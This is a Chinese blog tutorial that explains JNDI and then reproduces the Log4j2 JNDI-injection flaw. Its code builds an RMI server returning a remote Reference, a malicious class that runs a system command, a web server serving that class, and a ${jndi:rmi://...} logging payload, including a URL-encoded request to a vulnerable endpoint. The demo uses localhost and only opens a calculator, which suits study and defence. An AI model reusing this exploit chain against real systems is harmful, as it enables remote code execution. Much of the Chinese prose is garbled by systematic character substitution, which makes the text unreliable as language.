关于log4j2:Log4j史诗级漏洞从原理到实战只用3个实例就搞定

35次阅读

共计 10565 个字符,预计需要花费 27 分钟才能阅读完成。

背景

最近互联网技术圈最火的一件事莫过于 Log4j2 的破绽了。同时也涌现出了各类剖析文章,对于破绽的版本、破绽的起因、破绽的修复、程序员因而加班等等。

常常看我文章的敌人都晓得,面对这样热门有意思的技术点,怎能错过深入分析一波呢?大略你也曾经据说了,造成破绽的”罪魁祸首“是 JNDI,明天咱们就聊它。

JNDI,好相熟,但……相熟的陌生人?JNDI 到底是个什么鬼?好吧,如果你曾经有一两年的编程教训,但还不理解 JNDI,甚至没听说过。那么,要么连忙换工作,要么连忙读读这篇文章。

JNDI 是个什么鬼?

说起 JNDI,从事 Java EE 编程的人应该都在用着,但知不知道本人在用,那就看你对技术的钻研深度了。这次 Log4j2 曝出破绽,不正阐明大量我的项目或间接或间接的在用着 JNDI。来看看 JNDI 到底是个什么鬼吧?

先来看看 Sun 官网的解释:

Java 命名和目录接口(Java Naming and Directory Interface,JNDI)是用于从 Java 应用程序中拜访名称和目录服务的一组 API。命名服务行将名称与对象相关联,以便能通过相应名称拜访这些对象。而目录服务即其对象具备属性及名称的命名服务。

命名或目录服务容许你集中管理共享信息的存储,这在网络应用程序中很重要,因为它能够使这类应用程序更加统一和易于治理。例如,能够将打印机配置存储在目录服务中,这样所有与打印机相干的应用程序都可能应用它。

概念是不是很形象,读了好几遍都没懂?一图胜千言:

看着怎么有点注册核心的意思?是的,如果你应用过 Nacos 或读过 Nacos 的源码,Naming Service 这个概念肯定很相熟。在 JNDI 中,尽管实现形式不同、利用场景不同,但并不影响你通过类比注册核心的形式来了解 JNDI。

如果你说没用过 Nacos,那好,Map 总用过吧。疏忽掉 JNDI 与 Map 底层实现的区别,JNDI 提供了一个相似 Map 的绑定性能,而后又提供了基于 lookup 或 search 之类的办法来依据名称查找 Object,好比 Map 的 get 办法。

总之,JNDI 就是一个标准,标准就须要对应的 API(也就是一些Java 类)来实现。通过这组 API,能够将 Object(对象)和一个名称进行关联,同时提供了基于名称查找 Object 的路径。

最初,对于 JNDI,SUN 公司只是提供了一个接口标准,具体由对应的服务器来实现。比方,Tomcat 有 Tomcat 的实现形式,JBoss 有 JBoss 的实现形式,恪守标准就好。

命名服务与目录服务的区别

命名服务 就是下面提到的,相似 Map 的绑定与查找性能。比方:在 Internet 中的域名服务(domain naming service,DNS),就是提供将域名映射到 IP 地址的命名服务,在浏览器中输出域名,通过 DNS 找到相应的 IP 地址,而后拜访网站。

目录服务 是对命名服务的扩大,是一种非凡的命名服务,提供了属性与对象的关联和查找。一个目录服务通常领有一个命名服务(然而一个命名服务不用具备一个目录服务)。比方电话簿就是一个典型的目录服务,个别先在电话簿里找到相干的人名,再找到这个人的电话号码。

目录服务 容许属性(比方用户的电子邮件地址)与对象相关联(而命名服务则不然)。这样,应用目录服务时,能够基于对象的属性来搜寻它们。

JNDI 架构分层

JNDI 通常分为三层:

  • JNDI API:用于与 Java 应用程序与其通信,这一层把应用程序和理论的数据源隔离开来。因而无论应用程序是拜访 LDAP、RMI、DNS 还是其余的目录服务,跟这一层都没有关系。
  • Naming Manager:也就是咱们提到的命名服务;
  • JNDI SPI(Server Provider Interface):用于具体到实现的办法上。

整体架构分层如下图:

须要留神的是:JNDI 同时提供了应用程序编程接口(Application Programming Interface,API)和服务提供程序接口(Service Provider Interface,SPI)。

这样做对于与命名或目录服务交互的应用程序来说,必须存在一个用于该服务的 JNDI 服务提供程序,这便是 JNDI SPI 发挥作用的舞台。

一个服务提供程序基本上就是一组类,对特定的命名和目录服务实现了各种 JNDI 接口——这与 JDBC 驱动程序针对特定的数据系统实现各种 JDBC 接口极为类似。作为开发人员,不须要放心 JNDI SPI。只需确保为每个要应用的命名或目录服务提供了一个服务提供程序即可。

JNDI 的利用

上面再理解一下 JNDI 容器的概念及利用场景。

JNDI 容器环境

JNDI 中的命名(Naming),就是将 Java 对象以某个名称的模式绑定(binding)到一个容器环境(Context)中。当应用时,调用容器环境(Context)的查找(lookup)办法找出某个名称所绑定的 Java 对象。

容器环境(Context)自身也是一个 Java 对象,它也能够通过一个名称绑定到另一个容器环境(Context)中。将一个 Context 对象绑定到另外一个 Context 对象中,这就造成了一种父子级联关系,多个 Context 对象最终能够级联成一种树状构造,树中的每个 Context 对象中都能够绑定若干个 Java 对象。

JNDI 利用

JNDI 的根本应用操作就是:先创立一个对象,而后放到容器环境中,应用的时候再拿进去。

此时,你是否纳闷,干嘛这么吃力呢?换句话说,这么吃力能带来什么益处呢?

在实在利用中,通常是由零碎程序或框架程序先将资源对象绑定到 JNDI 环境中,后续在该零碎或框架中运行的模块程序就能够从 JNDI 环境中查找这些资源对象了。

对于 JDNI 与咱们实际相结合的一个例子是 JDBC 的应用。在没有基于 JNDI 实现时,连贯一个数据库通常须要:加载数据库驱动程序、连贯数据库、操作数据库、敞开数据库等步骤。而不同的数据库在对上述步骤的实现又有所不同,参数也可能发生变化。

如果把这些问题交由 J2EE 容器来配置和治理,程序就只需对这些配置和治理进行援用就能够了。

以 Tomcat 服务器为例,在启动时能够创立一个连贯到某种数据库系统的数据源(DataSource)对象,并将该数据源(DataSource)对象绑定到 JNDI 环境中,当前在这个 Tomcat 服务器中运行的 Servlet 和 JSP 程序就能够从 JNDI 环境中查问出这个数据源(DataSource)对象进行应用,而不必关怀数据源(DataSource)对象是如何创立进去的。

这种形式极大地加强了零碎的可维护性,即使当数据库系统的连贯参数产生变更时,也与应用程序开发人员无关。JNDI 将一些要害信息放到内存中,能够进步拜访效率;通过 JNDI 能够达到解耦的目标,让零碎更具可维护性和可扩展性。

JNDI 实战

有了以上的概念和基础知识,当初能够开始实战了。

在架构图中,JNDI 的实现层中蕴含了多种实现形式,这里就基于其中的 RMI 实现来写个实例体验一把。

基于 RMI 的实现

RMI 是 Java 中的近程办法调用,基于 Java 的序列化和反序列化传递数据。

能够通过如下代码来搭建一个 RMI 服务:

// ①定义接口
public interface RmiService extends Remote {String sayHello() throws RemoteException;
}

// ②接口实现
public class MyRmiServiceImpl extends UnicastRemoteObject implements RmiService {protected MyRmiServiceImpl() throws RemoteException { }

    @Override
    public String sayHello() throws RemoteException {return "Hello World!";}
}

// ③服务绑定并启动监听
public class RmiServer {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);
        System.out.println("RMI 启动,监听:1099 端口");
        registry.bind("hello", new MyRmiServiceImpl());
        Thread.currentThread().join();
    }
}

上述代码先定义了一个 RmiService 的接口,该接口实现了 Remote,并对 RmiService 接口进行了实现。在实现的过程中继承了 UnicastRemoteObject 的具体服务实现类。

最初,在 RmiServer 中通过 Registry 监听 1099 端口,并将 RmiService 接口的实现类进行了绑定。

上面构建客户端拜访:

public class RmiClient {public static void main(String[] args) throws Exception {Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        Context ctx = new InitialContext(env);
        RmiService service = (RmiService) ctx.lookup("hello");
        System.out.println(service.sayHello());
    }
}

其中,提供了两个参数Context.INITIAL_CONTEXT_FACTORYContext.PROVIDER_URL,别离示意 Context 初始化的工厂办法和提供服务的 url。

执行上述程序,就能够取得近程端的对象并调用,这样就实现了 RMI 的通信。当然,这里 Server 和 Client 在同一台机器,就用了”localhost“的,如果是近程服务器,则替换成对应的 IP 即可。

构建攻打

惯例来说,如果要构建攻打,只需伪造一个服务器端,返回歹意的序列化 Payload,客户端接管之后触发反序列化。但实际上对返回的类型是有肯定的限度的。

在 JNDI 中,有一个更好利用的形式,波及到命名援用的概念javax.naming.Reference

如果一些本地实例类过大,能够抉择一个近程援用,通过近程调用的形式,援用近程的类。这也就是 JNDI 利用 Payload 还会波及 HTTP 服务的起因。

RMI 服务只会返回一个命名援用,通知 JNDI 利用该如何去寻找这个类,而后利用则会去 HTTP 服务下找到对应类的 class 文件并加载。此时,只有将恶意代码写入 static 办法中,则会在类加载时被执行。

根本流程如下:

批改 RmiServer 的代码实现:

public class RmiServer {public static void main(String[] args) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        Registry registry = LocateRegistry.createRegistry(1099);
        System.out.println("RMI 启动,监听:1099 端口");
        Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("hello", referenceWrapper);

        Thread.currentThread().join();
    }
}

因为采纳的 Java 版本较高,需先将零碎变量 com.sun.jndi.rmi.object.trustURLCodebase 设置为 true。

其中绑定的 Reference 波及三个变量:

  • className:近程加载时所应用的类名,如果本地找不到这个类名,就去近程加载;
  • classFactory:近程的工厂类;
  • classFactoryLocation:工厂类加载的地址,能够是 file://、ftp://、http:// 等协定;

此时,通过 Python 启动一个简略的 HTTP 监听服务:

192:~ zzs$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

打印日志,阐明在 8000 端口进行了 http 的监听。

对应的客户端代码批改为如下:

public class RmiClient {public static void main(String[] args) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        Context ctx = new InitialContext(env);
        ctx.lookup("hello");
    }
}

执行,客户端代码,发现 Python 监听的服务打印如下:

127.0.0.1 - - [12/Dec/2021 16:19:40] code 404, message File not found
127.0.0.1 - - [12/Dec/2021 16:19:40] "GET /Calc.class HTTP/1.1" 404 -

可见,客户端曾经去近程加载歹意 class(Calc.class)文件了,只不过 Python 服务并没有返回对应的后果而已。

进一步革新

上述代码证实了能够通过 RMI 的模式进行攻打,上面基于上述代码和 Spring Boot Web 服务的模式进一步演示。通过 JNDI 注入 +RMI 的模式调用起本地的计算器。

上述的根底代码不变,后续只微调 RmiServer 和 RmiClient 类,同时增加一些新的类和办法。

第一步:构建攻打类

创立一个攻打类 BugFinder,用于启动本地的计算器:

public class BugFinder {public BugFinder() {
        try {System.out.println("执行破绽代码");
            String[] commands = {"open", "/System/Applications/Calculator.app"};
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
            System.out.println("实现执行破绽代码");
        } catch (Exception e) {e.printStackTrace();
        }
    }

    public static void main(String[] args) {BugFinder bugFinder = new BugFinder();
    }

}

自己是 Mac 操作系统,代码中就基于 Mac 的命令实现形式,通过 Java 命令调用 Calculator.app。同时,当该类被初始化时,会执行启动计算器的命令。

将上述代码进行编译,寄存在一个地位,这里独自 copy 进去放在了”/Users/zzs/temp/BugFinder.class“门路,以备后用,这就是攻打的恶意代码了。

第二步:构建 Web 服务器

Web 服务用于 RMI 调用时返回攻打类文件。这里采纳 Spring Boot 我的项目,外围实现代码如下:

@RestController
public class ClassController {@GetMapping(value = "/BugFinder.class")
    public void getClass(HttpServletResponse response) {
        String file = "/Users/zzs/temp/BugFinder.class";
        FileInputStream inputStream = null;
        OutputStream os = null;
        try {inputStream = new FileInputStream(file);
            byte[] data = new byte[inputStream.available()];
            inputStream.read(data);
            os = response.getOutputStream();
            os.write(data);
            os.flush();} catch (Exception e) {e.printStackTrace();
        } finally {// 省略流的判断敞开;}
    }
}

在该 Web 服务中,会读取 BugFinder.class 文件,并返回给 RMI 服务。重点提供了一个 Web 服务,可能返回一个可执行的 class 文件。

第三步:批改 RmiServer

对 RmiServer 的绑定做一个批改:

public class RmiServer {public static void main(String[] args) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        Registry registry = LocateRegistry.createRegistry(1099);
        System.out.println("RMI 启动,监听:1099 端口");
        Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", "http://127.0.0.1:8080/BugFinder.class");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("hello", referenceWrapper);

        Thread.currentThread().join();
    }
}

这里 Reference 传入的参数就是攻打类及近程下载的 Web 地址。

第四步:执行客户端代码

执行客户端代码进行拜访:

public class RmiClient {public static void main(String[] args) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        Context ctx = new InitialContext(env);
        ctx.lookup("hello");
    }
}

本地计算器被关上:

基于 Log4j2 的攻打

下面演示了根本的攻打模式,基于上述模式,咱们再来看看 Log4j2 的破绽攻打。

在 Spring Boot 我的项目中引入了 log4j2 的受影响版本:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
    <exclusions><!-- 去掉 springboot 默认配置 -->
        <exclusion>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-logging</artifactId>
            </exclusion>
        </exclusions>
</dependency>

<dependency> <!-- 引入 log4j2 依赖 -->
   <groupId>org.springframework.boot</groupId>
   <artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>

这里须要留神,先排除掉 Spring Boot 默认的日志,否则可能无奈复现 Bug。

批改一下 RMI 的 Server 代码:

public class RmiServer {public static void main(String[] args) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        Registry registry = LocateRegistry.createRegistry(1099);
        System.out.println("RMI 启动,监听:1099 端口");
        Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", null);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("hello", referenceWrapper);
        Thread.currentThread().join();
    }
}

这里间接拜访 BugFinder,JNDI 绑定名称为:hello。

客户端引入 Log4j2 的 API,而后记录日志:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class RmiClient {private static final Logger logger = LogManager.getLogger(RmiClient.class);

    public static void main(String[] args) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        logger.error("${jndi:rmi://127.0.0.1:1099/hello}");
        Thread.sleep(5000);
    }
}

日志中记录的信息为“${jndi:rmi://127.0.0.1:1099/hello}”,也就是 RMI Server 的地址和绑定的名称。

执行程序,发现计算器被胜利关上。

当然,在理论利用中,logger.error 中记录的日志信息,可能是通过参数取得,比方在 Spring Boot 中定义如下代码:

@RestController
public class Log4jController {private static final Logger logger = LogManager.getLogger(Log4jController.class);

    /**
     * 不便测试,用了 get 申请
     * @param username 登录名称
     */
    @GetMapping("/a")
    public void log4j(String username){System.out.println(username);
        // 打印登录名称
        logger.info(username);
    }
}

在浏览器中申请 URL 为:

http://localhost:8080/a?username=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A1099%2Fhello%7D

其中 username 参数的值就是“${jndi:rmi://127.0.0.1:1099/hello}”通过 URLEncoder#encode 编码之后的值。此时,拜访该 URL 地址,同样能够将关上计算器。

至于 Log4j2 外部逻辑破绽触发 JNDI 调用的局部就不再开展了,感兴趣的敌人在上述实例上进行 debug 即可看到残缺的调用链路。

小结

本篇文章通过对 Log4j2 破绽的剖析,不仅带大家理解了 JNDI 的基础知识,而且完满重现了一次基于 JNDI 的工具。本文波及到的代码都是自己亲自试验过的,强烈建议大家也跑一遍代码,真切感受一下如何实现攻打逻辑。

JNDI 注入事件不仅在 Log4j2 中产生过,而且在大量其余框架中也有呈现。尽管 JDNI 为咱们带来了便当,但同时也带了危险。不过在实例中大家也看到在 JDK 的高版本中,不进行非凡设置(com.sun.jndi.rmi.object.trustURLCodebase 设置为 true),还是无奈触发破绽的。这样也多少让人释怀一些。

另外,如果你的零碎中真的呈现此破绽,强烈建议马上修复。在此破绽未被报道之前,可能只有多数人晓得。一旦众人皆知,蠢蠢欲动的人就多了,连忙防护起来吧。

博主简介:《SpringBoot 技术底细》技术图书作者,热爱钻研技术,写技术干货文章。

公众号:「程序新视界」,博主的公众号,欢送关注~

技术交换:请分割博主微信号:zhuan2quan

正文完
 0